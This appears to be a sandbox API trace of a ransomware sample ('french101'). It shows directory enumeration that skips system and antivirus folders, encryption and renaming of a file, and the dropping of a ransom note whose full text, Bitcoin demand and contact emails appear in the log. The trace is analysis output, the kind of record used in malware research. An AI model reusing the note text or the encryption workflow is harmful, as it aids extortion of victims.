lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0280.791] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.791] GetLastError () returned 0x2 [0280.791] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0280.791] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.791] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.791] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.791] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.792] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.792] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.792] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.792] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.792] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.792] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0280.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0280.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.792] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0280.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0280.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.792] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0280.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0280.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.792] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0280.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e58, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0280.792] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.792] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.793] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.793] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.793] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.793] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.793] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.793] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.793] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0280.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0280.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0280.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0280.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0280.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0280.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0280.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0280.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0280.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.794] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0280.794] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0280.794] SHGetPathFromIDListW (in: pidl=0x6e46c8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0280.794] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0280.794] IMalloc:Free (This=0x75e4d000, pv=0x6e46c8) [0280.795] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0280.795] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0280.795] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.795] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.795] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.795] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.795] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.795] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.795] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.795] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.795] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.795] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0280.795] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.796] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.796] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0280.796] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.796] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.796] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.796] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.796] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.796] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.796] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.796] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.796] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.796] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.796] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.796] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0280.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.799] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.799] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0280.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0280.799] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\я" (normalized: "c:\\588bce7c90097ed212\\1044\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0280.809] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0280.810] CloseHandle (hObject=0x308) returned 1 [0280.811] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\я" (normalized: "c:\\588bce7c90097ed212\\1044\\я")) returned 1 [0280.812] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0280.812] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.812] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.812] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.812] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x20) returned 1 [0280.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0280.815] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.815] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xbe6 [0280.815] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.815] SetFilePointer (in: hFile=0x308, lDistanceToMove=3046, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xbe6 [0280.815] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.817] CloseHandle (hObject=0x308) returned 1 [0280.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0280.818] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.818] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xbe7 [0280.818] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.818] SetFilePointer (in: hFile=0x308, lDistanceToMove=3046, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbe6 [0280.818] SetEndOfFile (hFile=0x308) returned 1 [0280.820] CloseHandle (hObject=0x308) returned 1 [0280.821] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0280.821] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.821] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbe6 [0280.821] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.822] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.822] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.822] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbe6 [0280.822] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.822] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.823] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.823] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0280.823] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.823] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.823] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0280.823] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.823] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.823] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.823] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.823] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.823] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.823] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.823] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbe6 [0280.824] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.824] SetFilePointer (in: hFile=0x308, lDistanceToMove=3046, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xbe6 [0280.824] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.842] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0280.842] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.842] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.842] CloseHandle (hObject=0x308) returned 1 [0280.843] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\ZEVqNsKUOPPuClTLLtVciA.french101" (normalized: "c:\\588bce7c90097ed212\\1044\\zevqnskuoppucltlltvcia.french101")) returned 1 [0281.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\ZEVqNsKUOPPuClTLLtVciA.french101" (normalized: "c:\\588bce7c90097ed212\\1044\\zevqnskuoppucltlltvcia.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.050] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.050] CloseHandle (hObject=0x398) returned 1 [0281.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\ZEVqNsKUOPPuClTLLtVciA.french101", dwFileAttributes=0x80) returned 1 [0281.051] CloseHandle (hObject=0x398) returned 0 [0281.051] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.051] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.051] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.051] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.051] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.051] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.051] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.051] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.051] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.051] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.051] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0281.052] GetLastError () returned 0x2 [0281.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1044\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.052] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0281.053] CloseHandle (hObject=0x398) returned 1 [0281.053] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.053] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: 